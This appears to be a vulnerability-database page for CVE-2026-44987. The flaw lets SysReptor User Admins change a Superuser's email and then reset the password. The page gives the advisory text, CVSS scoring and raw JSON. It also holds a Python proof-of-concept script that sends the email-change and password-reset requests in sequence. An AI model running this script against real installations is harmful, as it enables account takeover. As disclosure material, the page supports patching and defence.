Security Vulnerability Report
中文
CVE-2026-44987 CVSS 3.8 LOW

CVE-2026-44987

Published: 2026-05-08 23:16:40
Last Modified: 2026-05-08 23:16:40

Description

SysReptor is a fully customizable pentest reporting platform. Prior to version 2026.29, users with "User Admin" permissions can change the email addresses of users with "Superuser" permissions. If the SysReptor installation has the "Forgot Password" functionality enabled (non-default), they can reset the Superusers' passwords and authenticate, if the Superuser has no MFA enabled. User managers can then access the Django backend (/admin) or manipulate the settings of the SysReptor installation. Note that user managers have the ability to access all pentest projects by assigning themselves "Project Admin" permissions. This is intentional and by design. This issue has been patched in version 2026.29.

CVSS Details

CVSS Score
3.8
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SysReptor < 2026.29

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-44987 (SysReptor Privilege Escalation) This script demonstrates how a User Admin can potentially change a Superuser's email and reset the password if 'Forgot Password' is enabled. Note: This is a conceptual demonstration. Authentication tokens are required. """ import requests TARGET_URL = "https://sysreptor.example.com" ADMIN_TOKEN = "USER_ADMIN_JWT_TOKEN" # Obtained by logging in as User Admin SUPERUSER_ID = "target_superuser_id" NEW_EMAIL = "[email protected]" headers = { "Authorization": f"Bearer {ADMIN_TOKEN}", "Content-Type": "application/json" } # Step 1: Change Superuser's email print(f"[*] Attempting to change Superuser email to {NEW_EMAIL}...") update_payload = {"email": NEW_EMAIL} response = requests.patch( f"{TARGET_URL}/api/users/{SUPERUSER_ID}/", json=update_payload, headers=headers ) if response.status_code == 200: print("[+] Email changed successfully.") else: print(f"[-] Failed to change email. Status: {response.status_code}") exit(1) # Step 2: Trigger Password Reset (Forgotten Password) print("[*] Triggering password reset...") reset_payload = {"email": NEW_EMAIL} # This endpoint depends on configuration, usually public or authenticated response = requests.post( f"{TARGET_URL}/api/password/reset/", json=reset_payload ) if response.status_code == 200 or response.status_code == 204: print("[+] Password reset link sent to the new email.") print("[*] Attacker checks email, clicks link, and sets new password to gain Superuser access.") else: print(f"[-] Failed to trigger reset. Status: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44987", "sourceIdentifier": "[email protected]", "published": "2026-05-08T23:16:39.917", "lastModified": "2026-05-08T23:16:39.917", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "SysReptor is a fully customizable pentest reporting platform. Prior to version 2026.29, users with \"User Admin\" permissions can change the email addresses of users with \"Superuser\" permissions. If the SysReptor installation has the \"Forgot Password\" functionality enabled (non-default), they can reset the Superusers' passwords and authenticate, if the Superuser has no MFA enabled. User managers can then access the Django backend (/admin) or manipulate the settings of the SysReptor installation. Note that user managers have the ability to access all pentest projects by assigning themselves \"Project Admin\" permissions. This is intentional and by design. This issue has been patched in version 2026.29."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://github.com/Syslifters/sysreptor/releases/tag/2026.29", "source": "[email protected]"}, {"url": "https://github.com/Syslifters/sysreptor/security/advisories/GHSA-6x8f-v3cf-cvr3", "source": "[email protected]"}]}}